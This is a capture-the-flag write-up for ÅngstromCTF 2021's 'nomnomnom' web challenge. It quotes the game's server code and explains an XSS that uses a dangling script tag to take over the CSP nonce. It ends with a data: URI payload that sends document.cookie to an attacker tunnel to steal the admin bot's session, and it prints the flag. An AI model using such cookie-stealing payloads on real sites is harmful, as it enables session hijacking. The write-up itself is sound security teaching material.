CTF: ÅngstromCTF 2021

Challenge information:

Name: nomnomnom
Category: Web - JavaScript
Description: I've made a new game that is sure to make all the Venture Capitalists want to invest! Care to try it out?
Environment: Whitebox
Author: paper
Points: 130
Solves: 127 out of 1502 teams
Flag: actf{w0ah_the_t4g_n0mm3d_th1ng5}

Writeup:

Given the source code, we can deploy an old Snake-ish game:

We can direct the blue ball (the snake) with our arrow keys, and when it hits a wall a JS promt asking for our username pops up, which made me think about an XSS vulnerability. Any input will be treated as HTML so we can potentially insert malicious code there.

We can see the losing statement inside the snake.js file:

function tick() {
  if (gameOver) {
    clearTimeout(TICKER);
    const name = prompt('what\'s your username? (for the share)')
    fetch('/record', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        name: name,
        score: pelletAmount
      })
    }).then(res => {
      if (res.redirected) {
        window.location.href = res.url;
      } else {
        res.text().then(text => {
          alert(`reporting score failed with: ${text}`)
        })
      }      
    });  
    return;
  }

  // hey did the snake touch the pellet
  if (Math.sqrt(Math.pow(pelletX - snakeX, 2) + Math.pow(pelletY - snakeY, 2)) <= (WIDTH / 10)) {
    pelletAmount += 1;
    pelletX = Math.random() * WIDTH;
    pelletY = Math.random() * HEIGHT;
  }

  // maybe I should get a better formula for this...
  const speed = (pelletAmount + 1) * 5;
  const dx = speed * Math.cos(direction);
  const dy = speed * Math.sin(direction);

  // clear old snek
  drawBG();
  drawPellet();

  snakeX += dx;
  snakeY += dy;
  drawSnake();

  if (snakeX <= (WIDTH / 10 / 2) || snakeY <= (WIDTH / 10 / 2) || snakeX >= (WIDTH - WIDTH / 10 / 2) || snakeY >= (WIDTH - WIDTH / 10 / 2)) {
    gameOver = true;
  }
}

Looking at the index.js, we can find the following snippet of code which confirms the input is not being sanitized at this point:


app.get('/shares/:shareName', function(req, res) {
	// TODO: better page maybe...? would attract those sweet sweet vcbucks
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	const share = shares[req.params.shareName];
	const score = share.score;
	const name = share.name;
	const nonce = crypto.randomBytes(16).toString('hex');
	let extra = '';

	if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
		extra = `deletion token: <code>${process.env.FLAG}</code>`
	}

	return res.send(`
<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
		<title>snek nomnomnom</title>
	</head>
	<body>
		${extra}${extra ? '<br /><br />' : ''}
		<h2>snek goes <em>nomnomnom</em></h2><br />
		Check out this score of ${score}! <br />
		<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
		<br />
		This score was set by ${name}
		<script nonce='${nonce}'>
function report() {
	fetch('/report/${req.params.shareName}', {
		method: 'POST'
	});
}

document.getElementById('reporter').onclick = () => { report() };
		</script> 
		
	</body>
</html>`);
});

If our score is greater than 1, we are getting redirected to /record

app.post('/record', function (req, res) {
	if (req.body.name > 100) {
		return res.status(400).send('your name is too long! we don\'t have that kind of vc investment yet...');
	}

	if (isNaN(req.body.score) || !req.body.score || req.body.score < 1) {
		res.send('your score has to be a number bigger than 1! no getting past me >:(');
		return res.status(400).send('your score has to be a number bigger than 1! no getting past me >:(');
	}

	const name = req.body.name;
	const score = req.body.score;
	const shareName = crypto.randomBytes(8).toString('hex');

	shares[shareName] = { name, score };

	return res.redirect(`/shares/${shareName}`);
})

The idea is exploiting a XSS to steal the admin's cookie as it will do a request, and use that same cookie to hijack the session and retrieve the flag.

Visiter.js code:

const puppeteer = require('puppeteer')
const fs = require('fs')

async function visit(secret, url) {
	const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
	var page = await browser.newPage()
	await page.setCookie({
		name: 'no_this_is_not_the_challenge_go_away',
		value: secret,
		domain: 'localhost',
		samesite: 'strict'
	})
	await page.goto(url)

	// idk, race conditions!!! :D
	await new Promise(resolve => setTimeout(resolve, 500));
	await page.close()
	await browser.close()
}

module.exports = { visit }

It's important noting that the cookie cannot be retrieved directly as it's on the server's localhost as shown on the visiter.js code above. We would have to use a CORS proxy to make a requests to the admin's localhost and forcing the admin to execute our malicious code through the username variable; the same-site is set as strict so the request must be sent from localhost.

Proxy server to bypass CORS.. As a web-developer I have to daily work… | by  Bhupendra Singh | Medium

As there is no HTML between the username variable on the index.js file and the nonce script, there is really no need to close the script tag as it follows:

<script src\="data:text/javascript,{script}"

And the browser will interpret the second appended script as an attribute:

<script src\="data:text/javascript,{script}"
<script nonce='${nonce}'>

At this point, we can send a crafted script up to 100 characters as the index.js file states:

[...]
app.post('/record', function (req, res) {
	if (req.body.name > 100) {
		return res.status(400).send('your name is too long! we don\'t have that kind of vc investment yet...');
	}
[...]

Using a ngrok HTTP tunnel along the document.cookie will let us steal the admin's cookie and hijack their session once we receive a visit on the desired page:

<script src\="data:text/javascript, location.replace('[...] + document.cookie')"

And the flag: actf{w0ah_the_t4g_n0mm3d_th1ng5}